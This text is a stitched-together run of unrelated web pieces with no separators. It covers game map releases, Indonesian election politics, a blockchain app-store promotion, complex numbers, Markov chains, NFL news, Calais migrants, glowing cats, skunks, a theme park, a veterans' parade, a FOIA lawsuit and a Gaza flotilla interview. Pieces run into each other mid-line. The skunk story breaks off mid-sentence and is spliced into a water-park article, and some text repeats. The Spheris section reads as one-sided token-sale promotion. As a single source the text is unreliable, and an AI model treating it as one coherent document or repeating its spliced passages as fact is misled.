“Sacred Mountain of Fear”
Starting on July 30th, the following maps will be available:
“Museum of Duel”
“Treasures of Ruins”
Next, is a map that will release on August 6th:
“The Imperial Family’s Ultimate War”
And finally, the last one is a two-part map, which releases on August 20th:
“Concealed Historical Evidence (part 1 and part 2)”
Fire Emblem Fates will release in the West in 2016 for Nintendo 3DS.Controversial legislation criticised as attempt by old political elites to consolidate their loosening grip on power
Fears have been raised for Indonesia’s democracy after its parliament voted to abolish the direct election of local leaders, a key post-dictatorship reform credited with assisting president-elect Joko Widodo’s rise to popularity as a mayor and governor before he won July’s national election.
The legislation – passed in the early hours of Friday after intensive lobbying – will mean provincial governors, district chiefs and mayors will now be elected by legislative bodies rather than directly by the people.
It could also lead to Widodo’s opponents in the incoming parliament – in which his coalition will hold just over a third of the seats – using its appointees to block his reforms at the local level.
Direct elections, part of the decentralisation measures implemented after the fall of dictator Suharto in 1998, have been credited with producing a handful of promising new leaders unconnected to the old elite, including Widodo, who beat a former general in the election in July.
After the tightest elections in the nation’s history ran peacefully, the world’s third-largest democracy was lauded for it political maturity and held up as an example in the region.
Raised in a riverside slum in Central Java, Widodo, known in Indonesia as Jokowi, is the first elected president with no direct ties to the old political and military establishment.
“The bill is a setback. A step back to a process of electing political leaders that is now in the hands of political parties,” said Djayadi Hanan, a political analyst from Paramadina University in Jakarta. “It is like a comeback for the political oligarchy.”
Doing away with direct elections, say analysts, will stymie the emergence of a new breed of accountable, responsible leaders and entrench the old elite.
Citing a recent poll by the Indonesian Survey Circle that showed more than 80% of Indonesians opposed the bill, Hanan argued that Indonesia’s political elites were trying to tighten their loosening grip on power and in doing so acted “against the will of the people”.
The bill has also been seen as attempt to even political scores, rushed through by an outgoing parliament and passed by a coalition of parties led by Prabowo Subianto, the former general who lost the July election to Jokowi.
“[The Prabowo coalition] want to humiliate Jokowi in the parliament, and this is the first battle,” said Eva K Sundari, a legislator from Jokowi’s Democratic party of Struggle
The ruling coalition in the incoming parliament will account for just over 36% of the seats and unless Jokowi manages to secure the support of another political party, he looks set to face a belligerent parliament after his inauguration on 20 October.
Analysts say that while he might hold power at the top, the opposition could further derail his programmes at a local level following the elimination of direct elections. More than 200 new local leaders, including 11 new provincial governors, are scheduled to be appointed next year and the new bill could help consolidate power in the hands of Jokowi’s opponents.
Aleksius Jemadu, the dean of political sciences at Pelita Harapan University in Jakarta, said the bill reflected an unsavoury new development in Indonesian democracy, one where the parliament “can do anything they want now because they control the majority and no one can stop them”.
In the lead-up to the boisterous 12 hours of debate and lobbying that preceded the vote, it appeared the bill was likely to be quashed. But the party that held the crucial swing vote, outgoing president Yudhoyono’s Democratic party, reversed its position at the 11th hour, walking out of the plenary session and abstaining from the subsequent vote.
That decision cost Jokowi’s coalition more than 100 votes and sealed an easy victory for the Prabowo-led coalition by 226 votes to 135.
Civil society groups and NGOs have vowed to challenge the new law at the constitutional court, but it is unclear whether they could win. Depending on the interpretation of the law, both direct and indirect elections are arguably constitutional.
As Prabowo’s Gerindra party hailed victory, critics on social networks described the bill as the death of democracy and directed their anger towards Yudhoyono under the Twitter hashtag #ShameOnYouSBY.
At a press conference on Thursday evening in Washington, where he was on an official visit, Yudhoyono expressed his regret at the vote. He said his party was preparing a lawsuit to challenge the bill and would seek recourse at the constitutional or supreme court.
Not all political observers are convinced he is sincere, given Yudhoyono could have thrown out the draft law to begin with.
“This reflects the real face of President Yudhoyono’s commitment to develop a genuine democracy,” argued political observer Aleksius Jemadu, “The president was in a position to stop all this in the first place, but he didn’t.”
Widodo has vowed to fight against the law and on Friday said the Indonesian public should remember which “political parties have robbed them of their political rights”.The vast majority of data-reliant industries such as finance, insurance, and app distribution markets are heavily dependent on the presence of mediators and third-party service providers. As a result, in most cases, developers are required to forfeit a substantial percentage of earnings as fees to intermediaries.
For example, in the app distribution market, apart from regional service providers, Google’s Android Play Store and the Apple App Store have the majority of market-share, having served billions of users over the last decade. Software developers, especially mobile app developers, have limited options in the app distribution market because the two marketplaces charge app developers around 30 percent of their local in-app earnings as fees.
“Alternatively, if developers decide to distribute their software on their own, they must pay fees to credit card companies or other payment processors such as Paypal (who charge 2.9% plus $0.30 of the amount you receive). Expenses for web development and hosting, as well as marketing and SEO, are also to be expected,” According to Spheris’s white paper.
Most software developers find it difficult to ignore the two platforms because of their dominance over the global app distribution market, despite their substantially high percentage-based fees. The other option is to distribute apps through their own channels, however, this method comes with its own pitfalls as developers are unlikely to achieve the same levels of reach. Spheris is attempting to provide an alternative blockchain-based app distribution platform that is more transparent and fair for software developers. Through its Spheris Catalog, software developers can sell their applications to users in a direct manner, without requiring the services of mediators and third-party service providers. More importantly, because Spheris is based on the Ethereum blockchain network, a smart contracts-based protocol, all of the activities and processing of data are completed autonomously.
“Essentially, we aim to be the missing link between developers and consumers who are interested in purchasing or leasing software. Embracing decentralization will break the convention of having the need for third-party entities who collect fees on transactions. Removal of corporate entities, such as credit card companies and banks, becomes possible coincidentally with maintaining core interests of both developers and consumers,” the Spheris team explained.
Existing app distribution platforms and marketplaces are limited in the services they provide. Their primary service is to connect app developers to users of Android and iPhone users but they fail to provide other necessary services such as a financial platform that developers can utilize to manage their earnings. It is because of the lack of an efficient and real-time financial settlement platform in existing app marketplaces that payout threshold exists for app developers. Additionally, these platforms rely on traditional financial services such as bank wire transfer to process transactions to app developers, which can be expensive, inefficient and time-consuming. Google Play’s payout policy explains some of the limitations:
“Google doesn’t initiate deposits on weekends or banking holidays. For example, if you charge an order on a Thursday, Friday, or Saturday, your deposit will be initiated on Monday. If Monday is a banking holiday, your deposit will be initiated on Tuesday.”
Spheris provides a direct solution for the financial issues that app developers have with app marketplaces, utilizing the Ethereum protocol, they will issue Spheris tokens (SPRS), an ERC 20 token that is compatible as a local currency for app developers and users. Developers can be paid out using SPRS, which can be exchanged for Ethereum’s Ether or fiat currencies through cryptocurrency exchanges and trading platforms.
So, through Spheris’ decentralized blockchain network and its tokenized system, app developers can receive SPRS token in real-time, as soon as users purchase the app or initiate in-game purchases.
Since Spheris is developed on top of an immutable blockchain network, it also provides a censorship-resistant marketplace for developers. Last year, Dash, an app that was initially launched on the Apple App Store, was delisted from the Apple App Store for fraudulent conduct. Bogdan, the developer of Dash, was not even given the opportunity to challenge the decision made by Apple and the App Store review team. Ultimately, he was forced to distribute his app through his own website, without the assistance of an app marketplace.
“Bogdan is a developer who created Dash. It is a popular API Documentation Browser and Code Snippet Manager application. Bogdan chose Apple’s App Store as his distribution platform. Unfortunately, his app got de-listed and his account was removed from the App Store, the official reason being fraudulent conduct and App Store review manipulation. Contacting Apple affirmed their decision was final. Bogdan started distributing his app via his own website,” said the Spheris team.
Spheris is a robust, unique and immutable blockchain-based platform that is attempting to restructure the app distribution market. It is offering both software developers and users an uncensorable infrastructure for decentralized applications and a decentralized financial network that processes payments in real-time. By offering an alternative platform to dominant infrastructure providers such as Google and Apple, Spheris aim to fundamentally challenge the app distribution market as cryptocurrencies have challenged the traditional finance market.
Spheris is in the process of launching a token sale to develop the project and those who are interested can already test out the platform as ahead of the sale they have released pre-alpha versions of their Catalog and Browser components for Windows and Linux, the code for these can be viewed on their Github.The world of math is complex … in more ways than one. Sure, it’s full of complex ideas that are all tied up and packaged within beautiful and often times complex wrapping paper that is adorned with complex looking mathematical symbols.
But it’s also literally complex … by which I mean it’s built upon a fundamental set of numbers called complex numbers. Wait, yet another type of number? Yep! You know all about real numbers, and last time we dove deep into the pool of imaginary numbers, but there is one more set of numbers for you to wrap your head around—they’re called complex numbers.
What are they? How should you think about them? And what can you do with them? Those are exactly the questions we’ll be talking about today.
Real and Imaginary Numbers
In one sense all numbers are “real.” After all, I’m real and I’m thinking about them … so they’re certainly real to me. But as we’ve discussed before, only some numbers are really real. And that’s because the word “real” has a particular meaning in math. Real numbers are all the numbers you can find on a real number line. That means that real numbers include zero and the other integers, all the rest of the rational numbers, and each and every one of the infinity of irrational numbers, too.
Imaginary numbers can be used to solve problems that real numbers can’t deal with.
Before our discussion last week, you might have thought that this was the entire world of numbers. But as we found out, there’s an additional and altogether different type of number floating around out there called an imaginary number. What are imaginary numbers good for? Well, the interesting thing about them is that when they’re squared you get back negative numbers. Which means imaginary numbers can be used to solve problems that real numbers can’t deal with such as finding x in the equation x2 + 1 = 0.
But that’s not the end of our story because, as I mentioned at the outset, imaginary numbers can be combined with real numbers to create yet another type of number. Which is …? We’ll get to that in just a minute—right after we take a little stroll along the number line.
A Walk Along the Number Line
As you might imagine, taking imaginary walks along the real number line (no imaginary numbers here!) is one of my favorite things to do. You and I have been here plenty of times before, so I won’t dwell too long on the details of what we’re seeing.
As you know, the real number line is just a way for us to represent the continuum of real numbers. They’re typically drawn with arrows on both ends to inform you that if we had a magical sheet of infinitely long paper, the line would extend out indefinitely in either direction towards what we call infinity. Larger and larger numbers usually head off to the right in what’s called the positive direction, and smaller and smaller numbers head off to the left in the negative direction.
PagesATLANTA – It wasn’t good to see Vince Wilfork limp off the field in the first half of the Patriots’ win over Atlanta, and the news is about as bad as it could be for New England: according to a league source, the veteran tore his right Achilles’ tendon.
The Patriots announced that Wilfork had an ankle injury during the game, and he was spotted leaving the Georgia Dome after the game with his lower leg in a walking boot.
Wilfork will more than likely be placed on season-ending injured reserve.
It will be interesting to see if the Patriots try to swing a trade for a defensive tackle to take Wilfork’s place – though rookie Joe Vellano had a sack of Matt Ryan, New England is very thin at the position.
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A team captain, Wilfork has been the linchpin of the defense for several years, playing an impressive number of snaps for his position.Between 2,500 and 5,000 migrants and refugees have lived in the Jungle, an informal camp on the outskirts of Calais, over the past two months. The vast majority of its inhabitants, living at France's closest point to Britain, hope to start new lives in the UK.
The migrants who live there have traversed distances of hundreds or thousands of miles over months or even years to reach Europe from some of the most benighted countries on earth: Afghanistan, Eritrea, Syria and others. Most have lost friends on the way and are now willing to risk their own lives in what they consider their last deadly gamble to reach Britain.
However, before they illegally cross into the UK on a lorry as it boards a ferry or aboard a Eurotunnel train, they wait for their chance in the Jungle. Some will stay only a matter of weeks before they cross, others will wait more than a year or try their luck elsewhere.
They live among the coarse bushes in borrowed tents on the dunes of Calais in a place that has no rules and no governing authority. It is not a refugee camp as such. Instead, it is a cluster of several hundred scattered dwellings maintained by charitable organisations, the people of Calais and the migrants themselves.
Within the Jungle, the migrants tend to be grouped by nationality and religion. The transitory hamlet of tents has seven mosques, one orthodox church and several restaurants and shops. These are some of the faces and brief stories of the inhabitants:
Name: Saeed
Age: 22
Born: Afghanistan
Name: Rad
Age: 30
Born: Kuwait
Name: Mahmoud
Age: 14
Born: Syria
Name: Sikander
Age: 42
Born: Afghanistan
Name: Stanikzai
Age: 40
Born: Afghanistan
Name: Haroun Bubakr
Age: 20
Born: Sudan, Darfur region
Name: Sabaun
Age: 12
Born: Afghanistan
Name: Mikie
Age: 26
Born: Sudan
Name: Basel
Age: 43
Born: Afghanistan
Name: Mohammed Siddique
Age: 15
Born: Afghanistan
Name: Ifraim
Age: 27
Born: Eritrea
Name: Amar
Age: 17
Born: Afghanistan
Name: Talal
Age: 35
Born: Kuwait
Name: Masjid
Age: 25
Born: Kuwait
Name: Mahmoud Akhnadi
Age: 21
Born: AfghanistanWhen you don’t know how to bg like me, then just use one color OTL. I did this one a week ago when I finally got my new tablet; I know
They are not on a vacation trip in the spirit world, they are on a Life-changing trip discovering how much they love each other and I've been smiling like a dork since December 19 for them.
How to do tittles again?I realized the lack of LoK art I did and with that beautiful ending I had to do something because the joy of your OTP becoming canon is something nothing can replace and I love them more than life itself.I will be uploading more Korrasami and I'm not even sorry.Reblog on tumblr from here Follow me on Tumblr Twitter and Facebook for daily shit post and doodlesNow for the ones who are wondering "You did ship Makorra because your first LoK art was with Mako and Korra". well, I DID ship Makorra but only during book 1, book 2 kinda mess up with them and I wanted to ship Korrasami since book 2 but they barely interact but I ended shiping them lol so when book 3 came it was a blessing to me and now you can imagine how I am with book 4, now I'm praying for LoK comics because I know there will be Korrasami, ok someone please punch me in the face.To access the main article on this subject, click here.
Markov chains are a fondamental statistics and data science tool, extensively used in modeling and operations research. A basic, 2-states model is as follows:
You start at time t=0, walking along the X-axis (representing time). At each iteration (also called step), you move up with probability p, and down with probability q, along the Y-axis. The Y-axis could represent gain/losses in a gamble (throwing a dice), stock market gains etc. When p = q, this is called a random walk.
Random walk in 2 dimensions, showing 2 million steps (source: Wikipedia)
This is easily generalized to 2 (or 3) dimensions, for instance to represent the path of a drunkard trying to get back home and getting lost (see picture - a simulated example), or the movements of a gas molecule in a container. Monte Carlo simulations can be used to compute various quantities associated with these models.
Here are questions for you to answer (challenge of the week)
In a one-dimensional realization of a random walk, what is the probability of never crossing the X-axis?
What is the average time between two successive crossings of the X-axis?
Is the process (Y values) bounded or not? If not, it means that over time, you will reach any pre-specified, arbitrary large integer value.
What is the highest point M that you are expecting to reach, after n steps? What is the statistical distribution of M, as a function of n?
In a 2-dimensional random walk, what is the probability of permanently getting stuck in one quadrant?
Are you likely to spend most of your time on the same side (either above or below) of the X-axis, or do you expect to fluctuate evenly, in the long run spending the same amount of time above and below?
For a random walk on a circle, are you going to fill the entire circle (visiting every point on the circle), or only a portion of it (what proportion), depending on how big your steps are relative to the radius? What is the propotion of visited points, that are going to be visited at least twice? Let's assume that the ratio step size by circle radius is NOT a rational number.
Same question if circle is replaced by a sphere, or an n-dimensional hypershere.
On a 2-dimensional random walk, what is the chance of ever reaching your initial position ever again? And how many times would you expect to cross the origin?
Related articlesGlowing Kittens Help In Fight Against AIDS
Enlarge this image Courtesy of Mayo Clinic Courtesy of Mayo Clinic
Here's an experiment: Turn off your lights, shine a blue flashlight on the cats in the room and look for the ones that turn neon green, like a glow stick.
That's how scientists at the Mayo Clinic identify cats that they've successfully treated against the feline immunodeficiency virus.
The AIDS epidemic in humans is well-known. Less known is that every year, millions of cats suffer and die from the disease.
To protect cats against feline AIDS, the Mayo Clinic and colleagues in Japan devised a treatment with a peculiar side effect. They took monkey genes that block HIV infection and injected them into cat eggs. Kittens born from those eggs produced AIDS-resistant protein in the same cells that get infected, effectively shielding them from the disease. Their offspring are also immune.
Nature Methods Read the scientific findings in depth.
To tell the treated cats from the untreated ones, scientists added another simple ingredient to the mix: jellyfish genes, which make the modified cells glow a green color.
"It allows you to tell whether the gene of interest is in the cell without having to do an invasive test," Dr. Eric Poeschla, a molecular biologist with the Mayo Clinic, tells Guy Raz, host of weekends on All Things Considered. Scientists simply turn off the lights and shine a blue light to tell which cats have the AIDS-resistant gene.
The cats don't feel a thing, Poeschla says. "They're healthy and happy and they're playful."
The feline treatment could help other mammals down the line. The Mayo team isn't injecting human stem cells with the monkey-jellyfish concoction, but it is watching the cats for new insights.
"If they have the power to protect, then they could perhaps be used in the future in human gene therapy," Poeschla says.
Unfortunately, you can't get your own glow-in-the dark kitty just yet.Chicago-Area Skunk Population Raises A Stink
toggle caption Cheryl Corley/NPR
There is a slight stench as Brandon Owen steps out of his truck. The biologist is a wildlife technician with ABC Humane Wildlife Control, and his company has captured 687 skunks so far this year in northeastern Illinois — about 200 more than last year.
Owen and the company's president, Vito Brancato, are on a skunk run in Des Plaines, a suburb near Chicago's O'Hare International Airport.
Brancato determines that an animal they just picked up is a juvenile.
Why Do Skunks Stink? One of the reasons skunks have a bad reputation is because they can really stink. Two internal glands at the bottom of their tails produce a thick and oily liquid made of particularly smelly chemical compounds. When its tail is up in the air, a skunk can release these chemicals as a spray from one or both glands with accuracy for up to 10 feet and with less accuracy up to 20 feet. They may release the liquid several times in a matter of seconds. The scent is released in self-defense when they are provoked or feel threatened. A skunk usually gives a warning that they are about to release their scent by stamping their front feet rapidly with its tail erect, and growling or hissing. — Tasnim Shamma, NPR Source: University of Wisconsin-Madison Professor of Wildlife Ecology Scott Craven
"We've very lucky in that way, because we're going to at least be able to approach the skunk that is a little less likely to spray," Brancato says.
This is good news for Brancato, because skunks can spray the oily substance they use to defend themselves up to 15 feet — and their aim is good. Brancato and Owen find the skunk in a small cage in homeowner Richard Kaulback's leafy backyard.
The animal is small. Its white stripe is visible, but its head is hidden behind the trap door. Skunks are nocturnal animals — it appears to be asleep, and thankfully, its tail is down.
Kaulback has watched all sorts of wildlife traipse across his yard over the nearly 50 years he's lived in Des Plaines. This year has been a bad year for skunks.
"This is an ongoing thing all summer," Kaulback says. "Before, we had a lot of raccoons, but this is the first time we've had so many skunks. This is the second [or third] skunk we've got."
Brancato says skunk populations can grow large because they don't really have any natural predators.
"Their population numbers are only controlled by highways, you know, by cars," he says. "So they do pretty well because they don't really move a lot."
Introduced by Warner Bros. in 1945, the French skunk Pepe Le Pew strolls around Paris looking for love. YouTube
It's difficult to get a real count on the number of skunks in the state, says Illinois Department of Natural Resources wildlife biologist Bob Bluett. But the department makes a best guess by counting roadkill.
"We've seen a dramatic increase," Bluett says. He adds that there was a 46 percent increase in the number of skunks from 2009 to 2010.
Companies licensed by the department to capture skunks snared 8,700 of them across the state last year, most in the Chicago area. Bluett isn't certain why the numbers are up, but skunks in the Midwest are prone to rabies, and there hasn't been an outbreak to lessen their numbers for more than 25
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March 2017, according to filings from the Texas Department of Licensing and Regulation.
The water park plan was revealed a day after city and county officials unveiled a plan to buy Gordon Hartman’s Toyota Field — which is adjacent to Morgan’s Wonderland — for $18 million and lease it to Spurs Sports & Entertainment, with a goal of bringing Major League Soccer to San Antonio. Hartman, who founded Morgan’s Wonderland, would also receive $3 million from the Spurs as part of the plan.
Park spokesman Bob McCullough said in an email that the park will make a formal announcement next week. Hartman told the San Antonio Express-News this year that he planned to build a wheelchair-accessible splash park between the South Texas Area Regional Soccer Complex and the theme park’s catch-and-release fishing pond.
“For five years, we have grown beyond our wildest dreams,” Hartman says in a YouTube video posted last month that hints at a water park expansion. “But we are just getting started.”
In its first five years of operation, the park has hosted more than 500,000 guests from all 50 states and 50 other countries, Hartman told the Express-News last year.
Morgan’s Wonderland cost about $27 million to build and opened in March 2010. Hartman was inspired to build it after his daughter Morgan, who has cognitive and physical disabilities, was shunned while trying to play with other children in a hotel swimming pool.
Admission to Morgan’s Wonderland is free for special needs children, while other children pay $11 and most adults pay $17.
The theme park is part of a complex of recreation facilities owned by the nonprofit Sports Outdoor and Recreation Park. Revenue has been increasing for the nonprofit in recent years, according to filings with the IRS.
In 2013, the most recent year for which records are available, the nonprofit collected $6.9 million in revenue, up from $2.3 million in 2012. Its operating revenue, which doesn’t include charitable contributions, rose to $3.4 million in 2013 from $864,169 in 2012 and $752,566 in 2011.
The water park is the latest of a string of expansions to local theme parks and resorts in recent years. In July, the JW Marriott San Antonio Hill Country Resort & Spa announced a $16 million project to expand its water park and meeting space. Last year, Six Flags Fiesta Texas built two new water slides, a children’s pool and a swim-up bar.
In 2013, SeaWorld San Antonio opened Aquatica, a water park with three beaches, an aviary, a wave pool and a water slide that takes riders under a stringray habitat. That year, Hyatt Regency Hill Country Resort and Spa finished a $35 million expansion, adding a wave machine and a tower slide to its water park, among other things.
The Morgan’s Wonderland addition will be designed by Luna Architecture + Design, a local firm that worked on Toyota Field and several local hotels, including the Wyndham Garden hotel. It also worked on Morgan’s Wonderland earlier, according to its website.
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Twitter: @rwebner
Express-News archives contributed to this report.As news continues to emerge surrounding the Miami Dolphins, their pro-bowl athlete Richie Incognito and second year player Jonathan Martin, those who surround sports play a game of jumping back and forth to decide whose side they’re on. Last week, without any details or context, Martin was demonized as a weak athlete who didn’t appreciate the lottery ticket he was given, and now this week with a bit of context to the situation, the perception is quickly becoming that Martin was a victim to the torturous actions of a teammate and an organization that displayed absolutely no control over the culture of their team and work environment.
There are several points that should be emphasized from the get-go here to provide some of that context.
Richie Incognito, voted as one of the dirtiest players in the NFL, was elected by his team as a member of the six-man Leadership Council of the Miami Dolphins. He was elevated to a leadership status by his peers. The Miami Dolphins released three press releases on the day they indefinitely suspended Incognito. The first one was a staunch defense of their pro-bowler, the second one indicating they were taking the allegations seriously and the third one, after hearing a voice mail message that Incognito left for Martin last season, that they were suspending Incognito. It’s been reported that Jonathan Martin, after leaving the cafeteria and before leaving the team, went to management and reported what was happening. It appears this fell upon deaf ears, also supported by the subsequent press releases issued by the team. Jonathan Martin went to Stanford University, comes from a family that for generations went to Harvard University and largely had a reputation of needing to be toughened up and was given a nickname by his teammates as “Big Weirdo.”
TMZ has recently released a video of Richie Incognito at a pool hall in Fort Lauderdale walking around with his shirt off, hurling a racial slur as his teammate Mike Pouncey, presumably arrived at the pool hall. Richie Incognito, a white athlete, out in public surrounded by African-American teammates, seems to be quite comfortable using racial epitaphs. It speaks to a culture and a position of dominance that Incognito has and was leveraging over his teammates.
In continuing to paint this culture that Dolphins teammates had to operate within, the treatment of rookies is problematic, to say the least. In a league of n0n-guaranteed contracts and with rookie minimums set at $400,000, there are reports from the Miami Herald of figures in the excess of six figures of what rookies were being forced to pay for meals, trips and gifts for their veteran teammates. When speaking of actual take home income, the six figure amounts being reported account for more than half of the player’s salary for the season.
Now any team in any professional sporting environment has some sort of rookie ritual. It would be common place for a team dinner while on a road trip to have the rookies cover the bill. Most teams often divide up the bill amongst the teammates with those making more money covering a larger percentage. Attempts are made to make the ritual as fair as possible for all involved.
Incognito on ESPN Radio in Miami just last season was interviewed by Dan Le Batard and when asked about any gifts that then rookie quarterback, Ryan Tannehill, had purchased for his offensive line, Incognito had said that he was going out to buy new jet-skis for the starting offensive linemen. Le Batard seemed taken aback by this statement and echoed that often the rookies themselves determine the gift and purchase it for the teammates as a gesture of good will. Incognito, undeterred, basically said the money is being spent and they were going to get what they want.
Now as an isolated incident, onlookers can offer the benefit of the doubt and see some level of reason here and possibly try to justify. However, in hindsight and as more information begins to trickle out as to what this work environment is and was like, it becomes apparent that this is more than an issue with this year’s team.
The NFL has a culture of preying on the weak, preying on the young and trying to toughen up rookies on this naive, alpha male bravado of what a football player should act like.
Accounts are out there like Tyron Smith, from the Dallas Cowboys, who has his parents showing up at their practice facilities demanding money from their son. These athletes who overcome so much and finally reach the top of the mountain in their professional career, only to be surrounded by leaches who try to suck as much from them as they can. In the case of Jonathan Martin, those leaches were his teammates and the people in roles to do something about it, seemed to have turned a blind eye.
In the off-season his teammates were going on a trip to Las Vegas, a trip that Martin did not wish to attend. He was still forced to pay $15,000 for the trip and his teammates, despite the fact that he was not attending himself.
Last week when the story broke of Martin leaving the team and nobody knowing where he was, it quickly became a story of an immature, soft, weak athlete who couldn’t cut it. A lunch room prank where nobody wanted to sit with him resulted in him essentially quitting. The judgment was quick and swift, the sympathy was fleeting and the empathy was non-existent. An athlete who went to Stanford University, who was in his second year in the NFL, decided that walking away was the ideal option. An option he had to know would open him to intense, unapologetic rage from the Dolphins and football fandom. Yet it was still the option he chose. It was what he still decided that this is what was best for him.
As we examine the actions of Richie Incognito and we see how comfortable he was in the decisions he was making, it paints a clear picture that he was merely acting within the culture of the workplace. The taunts that were hurled towards Jonathan Martin were not merely behind closed doors away from the eyes and ears of the many. It was done in the open, it was done on national radio, it was done on Twitter, for everyone to see and hear.
And yet nobody saw it, or heard it.
In the recorded voicemail that has been leaked from Incognito to Martin, a few noteworthy snippets:
Incognito threatened to harm Martin physically and also threatened to slap his mother Incognito threatened to defacate in the mouth of Martin Incognito used racial slurs towards his African-American teammate
With full knowledge that what he was saying was being recorded, he still comfortably said it.
While the NFL is struggling to keep their workforce out of the ICU and on the playing field, while head injuries dominate the narrative of the sport, a culture of preying on athletes emotionally, physically and psychologically seems to be happening before our eyes and ears. This is not a job of the fans to police, it is up to the coordinators, coaches, general managers, team presidents, owners, etc., of each of these teams to address the culture of each team and ensure that their players are being looked after.
While these players are being paid amounts of money that the average person can never anticipate seeing on a weekly pay cheque, the athletes know they are only ever one injury or one bad season away from that income being removed. They are not playing with guaranteed contracts. It would be nice to think that for the short amount of time they are making this money, it wasn’t their teammates that were siphoning it away from them.
Richie Incognito, much like the New Orleans Saints became the face of the Bounty Gate Scandal, will become the face of this in the NFL. Something that each team and many of their players will quietly acknowledge is an ongoing problem within their locker rooms. But why does it always have to take someone breaking before something can be done? Why is it that a player has to quit a team, enter into a rehabilitation facility to try to repair the harm that’s been done, become a nation punch-line for a week, all before the people closest to the problem can hear or see what’s happening?
Fans care about winning. Are we being naive to expect that teams should care about more?
You can follow me @rickw10 on twitter for your NFL tweets, and the follow the site @lastwordonsport while you are at it and please take a moment to like our Facebook Page.
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Football fans…check out our two partnered NFL podcasts – Thursday Night Tailgate Radio and Overtime Ireland. Both shows bring you interesting commentary, critical analysis and fantastic guests including former and current NFL players, coaches and personalities.Torontonians filled Exhibition Place on Saturday to honour veterans of the First and Second World Wars at the 96th annual Warriors' Day Parade.
This year's ceremony commemorates the 100th anniversary of the Battle of Vimy Ridge and the 75th Anniversary of the Dieppe Raid.
For survivors of war who experienced the conflict first-hand, the ceremony was a reminder of how significant their efforts were.
Neill spent six years overseas with an advanced team in the Canadian Army from 1939 to 1944.
Second World War Veteran Harry Neill looks on at the Warriors' Day Parade at Exhibition Place with a rifle in hand. (CBC News )
While his memories may be a little bit foggy now, Neill said he still remembers fighting in the war and exchanging enemy fire with Vickers machine guns. When asked why it's important people march in the parade, 95-year-old Dieppe Raid veteran Harry Neill said it's because a lot of men gave their lives.Neill spent six years overseas with an advanced team in the Canadian Army from 1939 to 1944.While his memories may be a little bit foggy now, Neill said he still remembers fighting in the war and exchanging enemy fire with Vickers machine guns.
"It was just amazing, you know. Like that was reality. We see movies but he was there in real life," said his son-in-law, Jim Emmerson.CLOSE USA TODAY is suing the Justice Department for access to any records of FBI surveillance of Donald Trump during the presidential campaign. USA TODAY
Donald Trump has claimed that the Obama administration conducted surveillance on him and his top staff during the 2016 campaign (Photo11: Andrew Harnik, AP)
WASHINGTON — USA TODAY has filed suit against the Department of Justice in attempt to obtain records of any FBI surveillance of Donald Trump or his top aides during the 2016 presidential campaign.
The lawsuit was filed early Tuesday in U.S. District Court for the District of Columbia by USA TODAY reporter Brad Heath under the Freedom of Information Act. It asks the court to force the FBI to turn over any records of surveillance "in their entirety."
Heath sent an FOIA request to the FBI on March 6 but has received "no substantive response."
That request was prompted by claims made by President Trump in a series of tweets on March 4 that President Obama's administration had tried to tap Trump's phones and those of his associates.
How low has President Obama gone to tapp my phones during the very sacred election process. This is Nixon/Watergate. Bad (or sick) guy! — Donald J. Trump (@realDonaldTrump) March 4, 2017
Later, Rep. Devin Nunes, R-Calif., chairman of the House intelligence committee, said Trump campaign officials were caught up in surveillance operations. Nunes specifically said the surveillance was approved under the Foreign Intelligence Surveillance Act, the lawsuit states.
That law created secret court proceedings for federal officials to request orders allowing them to conduct surveillance.
The USA TODAY lawsuit argues that comments by Trump and Press Secretary Sean Spicer revealing the existence of surveillance orders "constitute prior official disclosure," meaning the records should now be made public.
Trump initially claimed that the Obama administration "wire-tapped" Trump tower, but several top officials including FBI director James Comey have said that is not true. Later, White House officials said the president was referring to surveillance in general.
The lawsuit states that the fact that Trump's allegations have been challenged "has only deepened the public's interest in establishing their truth or falsity."
USA TODAY, which is owned by Gannett, has been working on the request with the James Madison Project, a non-partisan organization established to promote government accountability and the reduction of secrecy.
Read more:
Read or Share this story: http://usat.ly/2owqKwBThis is a rush transcript. Copy may not be in its final form.
JUAN GONZALEZ: We turn now to Israel, where three missile ships and seven commando boats intercepted a “freedom flotilla” trying to breach the Israeli blockade of the Gaza Strip earlier this week. The French boat, Dignité-Al Karama was the sole representative of the original 10-strong flotilla hoping to break the blockade on Gaza and express support for Palestinians living under occupation. At least 150 soldiers were sent to sea early Tuesday morning to prevent the 10 civilian activists, the three crew members and three journalists on the flotilla from reaching Gaza’s port.
AMY GOODMAN: The Israeli defense spokesman, Captain Barak Raz, said the boat had been boarded peacefully and was towed to the Israeli port of Ashdod.
CAPT. BARAK RAZ: After boarding the boat, which we did in a very professional manner, we ensured the safety of everybody on board. Everything appeared to be OK. They were given food and water. And right now the boat is being led toward the port of Ashdod.
AMY GOODMAN: After the boat was intercepted, 15 passengers were arrested and prevented from seeing their lawyers. Mahmoud Abu Daf, who heads the End of the Siege Committee, condemned the boat’s seizure and subsequent arrests.
MAHMOUD ABU DAF: [translated] We condemn the occupation’s act of seizing the Dignity ship and forcing it to go to the Ashdod port. We consider this a political and military piracy.
AMY GOODMAN: We’re joined now by one of the only journalists who was aboard the ship. Amira Hass is with Ha’aretz. She’s the correspondent for the Occupied Palestinian Territories. She’s the only one of the Israeli journalists to have spent years living in and reporting from Gaza and the West Bank.
Amira, welcome to Democracy Now! Describe what happened on the Dignité, on the boat.
AMIRA HASS: Good morning.
Some 60 miles away from Gaza, we got the signal from an Israeli warship asking where we were heading to. One of the—one on board said, “To Gaza.” Then they said, “It’s illegal. It’s not allowed.” The person—it’s Professor Vangelis Pissias, the Greek—tried to explain that this is a mission of peace and solidarity. There are no arms, no cargo, just wishing to reach Gaza. And they were replied again by, “No, this is not legal, or not allowed.” Immediately then, all communication was jammed. We could not call anymore. We could not get calls anymore. The internet did not work.
And soon after, we saw four commando boats, very quick, very fast boats, approaching us. Masked men were aiming their rifles at us. They were, of course, in uniforms, IDF uniforms. They were aiming all sorts of guns that I don’t even know how to name them. There were two cannon—two of them had—each of them had a cannon, a water cannon. Then, three more were added to the four. They distanced a bit, then returned.
At around 2:00, they approached, started to use the water cannon, and shouted something. One of on board, Dror Feiler, who is an Israeli, shouted back in Hebrew. Another activist, Claude Léostic of France, said, “This is—we are on the way to Gaza. This is international water. You have no right to impound us.” And yet, they managed to enter on board.
It was not violent as the former flotillas or the boats that were in past years, when they attacked people physically. But the very act, of course, is violent, the very act of—imagine 10 vessels, three warships and seven gunboats, attacking this small bucket. We looked like a bucket rocking in the sea. This was very violent. But physically, we were spared what—the fate that was the one of the Mavi Marmara.
AMY GOODMAN: Amira, can you explain how it was that the—
AMIRA HASS: Yeah?
AMY GOODMAN: Can you explain how it was that this boat, the only one of the 10 of this flotilla—
